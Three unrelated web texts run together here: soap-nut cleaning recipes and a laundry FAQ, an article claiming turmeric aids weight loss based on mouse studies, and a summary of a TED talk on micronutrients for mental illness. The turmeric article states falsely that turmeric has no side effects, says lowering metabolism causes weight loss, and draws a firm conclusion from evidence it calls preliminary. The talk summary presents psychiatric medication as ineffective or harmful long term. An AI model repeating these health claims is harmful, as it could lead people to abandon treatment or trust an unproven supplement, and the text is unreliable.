The following is only a very short list of some alternate cleaning solutions that soap nuts will work great for. You will even notice hair care. If you can boil water, the basics of chemical free cleaning can be in your hands and at use in your home today!
For Household Cleaning:
Pour soap nuts liquid (above) into a spray bottle. Use full strength or dilute as desired. Use for sinks, counters, floors, etc.
For Windows and Glass:
Fill a spray bottle with about 8 oz of water. Add a half-ounce of soap nuts liquid (above) and a half-ounce of vinegar. Spray and then wipe clean with a dry cloth.
Fill the dishwasher soap dispenser with soap nuts liquid (above). Wash as usual. Tip: For extra sparkle, add a half-ounce of vinegar to the rinse dispenser or during the rinse cycle.
For Hand Wash:
Add about 2 tbs of soap nuts liquid (above) to wash water and stir, or make a tea with your soap nuts muslin bag. Simply hand wash as usual.
For Steam Cleaning Carpets:
Soap nuts work exceptionally well in carpet cleaners because they are so low sudsing and odor reducing. Add about a quarter cup of soap nut liquid to hot water in the portable cleaner. Great for urine stains!
Same as above. Superb for pets! Your little loved ones will never feel and smell this fresh again! They'll appreciate it, too!
Use soap nuts liquid to shampoo hair. Leave in for about 5 minutes. Rinse as usual with warm water. If you prefer more suds, add a little of your favorite shampoo. (We know it's hard not to want more suds! Isn't it interesting that the chemical industry has taught us if it doesn't make bubbles, it's not clean?!)
Soap Nuts FAQ'sHow many loads of laundry can I do with 5 soap berries? (soap nuts)
Depending on the temperature of the water in which you wash your clothes, you can get anywhere from 3-7 loads out of 1/2 oz (about 5 soap nuts / berries). you will get more uses from cold or warm-water wash, and less uses with hot-water wash, as soap nuts release more saponin the hotter the water that you use. The soap nuts (soap berries) are no longer effective when they become thin, turn soft, mushy and very light tan or gray


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Turmeric has been a key ingredient in numerous recipes in India, Malaysia, Indonesia, Thailand and in the Middle East. In some countries in South Asia, turmeric is used as a medicinal product. It is used as an antiseptic for cuts and bruises and as a remedy to stomach disorders. In India, turmeric is used as an ingredient for several skin products. For years, there was an unproven belief that turmeric can be used as an aid to weight loss. Recently, scientific studies have shown that turmeric may indeed help you lose weight. Here are the facts that researchers found out about turmeric and weight loss.
Turmeric May Help Reduce Fats
Tuffs University in Boston conducted an experiment using mice to determine the effects of turmeric in one's diet. The researchers divided 18 mice into three groups. One group was given a typical diet and the other two groups were fed a high-fat diet. One group with a high fat diet was given a small amount of curcumin, a polyphenol that is found in turmeric. The result of the study showed that although both groups had the same diet, the group that was fed with curcumin weighed less compared to the group that was not given the ingredient. The group that was given curcumin also had lower levels of cholesterol and fat.
The results of the studies using the mice have increased interest in turmeric as an aid to weight loss. Studies are now trying to link curcumin to weight control. Some researchers believe that turmeric can help break down body fats by restricting blood supplies to fat cells and stopping them from growing. Daily intake of turmeric may also help reduce the body's metabolism, thus contributing to weight loss.
Turmeric May Help Control Sugar
Turmeric has also drawn interest from institutions like the University of Columbia in New York. Medical researchers there also fed mice with quantities of turmeric and compared them with mice with the same diet, but without the ingredient. The results of the studies showed that mice that consumed quantities of turmeric had a reduced incidence of diabetes. In addition, the mice fed with turmeric weighed less and had lower fat content than the other groups. The studies have also proven that mice given quantities of turmeric had fewer liver problems than the control group.
Turmeric May Help Prevent Obesity
Immune cells in the body fat tissue called macrophages cause the inflammation that is associated with obesity. Some scientists believe that turmeric can suppress these cells and help reduce the chances of obesity.
More studies need to be completed to support the link between turmeric and weight loss. Most studies have been focused on mice and it's too early to tell if turmeric will have the same effects on humans. Unlike other weight loss supplements, turmeric does not have any side effects. It appears that there is a strong link between the intake of turmeric and weight loss.


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Clinical psychologist, Julia Rucklidge, delivers an enlightening TED talk on the importance of nutrition and it's role in mental health. Julia reminds us of a time when Dr. Semmelweis was ridiculed and dismissed for suggesting that doctors wash their hands before touching pregnant women. She compares the radical reaction that doctors had then, to the reaction some doctors have now, about the idea of nutrition being more effective than medication, when treating patients with mental illnesses, such as ADHD, depression, schizophrenia, and bi-polar disorder.
Dr. Rucklidge advises us that despite the array of medications on the market, mental illness continues to rise, and she asks, "If current medications are effective, shouldn't mental illness be decreasing rather than increasing?"
Medical doctors from around the world have admitted that they learned little to nothing about nutrition during medical school. Dr. Rucklidge herself, was hesitant to believe that nutrition alone could benefit patients because she was taught that nutrition was trivial when it came to the treatment of mental illness. However, she has been conducting research over the past decade and has found that "nutrition is a safe and viable way to avoid, treat and lessen mental illness."
One of the studies she conducted consisted of a placebo trial, where adult participants were given vitamins and minerals, also known as micro-nutrients, to treat ADHD. In just 8 weeks, twice as many people responded who were in the micro-nutrient group, than those in the placebo group. Those who continued with the micro-nutrients continued to see positive results, and those who went back to medication showed worsening of symptoms.
According to the findings revealed in her research, current prescriptions are only effective on a short term basis, however on a long term basis, medications are ineffective, and in some cases detrimental.
Micro-nutrients were also tested on patients suffering from depression, schizophrenia, and bi-polar disorder; results for participants showed steady and long term improvement. She also mentions that micro-nutrients are not only effective, but also much less expensive than current medications on the market today.
Dr. Rucklidge stresses that nutrition matters, and that poor nutrition is a significant risk factor for the development of mental illness.
"We need to get serious about the critical role played by nutrition."-Julia Rucklidge, Clinical Psychologist
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